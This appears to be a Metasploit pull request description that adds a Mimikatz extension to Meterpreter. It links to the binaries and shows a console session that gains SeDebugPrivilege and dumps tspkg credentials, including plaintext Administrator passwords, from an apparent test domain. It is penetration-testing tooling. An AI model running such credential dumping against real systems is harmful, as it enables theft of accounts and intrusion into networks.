Mimikatz extension

Binaries x86: http://sdrv.ms/ZHx515
Binaries x64: http://sdrv.ms/ZHxb8Y

Framework side of https://github.com/rapid7/meterpreter/pull/9
I have raised a number of discussion points on the meterpreter pull.

```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > tspkg
[!] Not currently running as SYSTEM
[*] Attempting to getprivs
[+] Got SeDebugPrivilege
[*] Retrieving tspkg credentials
tspkg credentials
=================

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
0;999      Negotiate  TEST          WIN7-X86$      
0;24916    NTLM                                    
0;996      Negotiate  TEST          WIN7-X86$      
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE  
0;56055    Kerberos   TEST          User           Password1
0;1997109  Kerberos   TEST          Administrator  Password2
0;1907035  Kerberos   TEST          Administrator  Password2
0;2106260  Kerberos   TEST          Administrator  Password2
```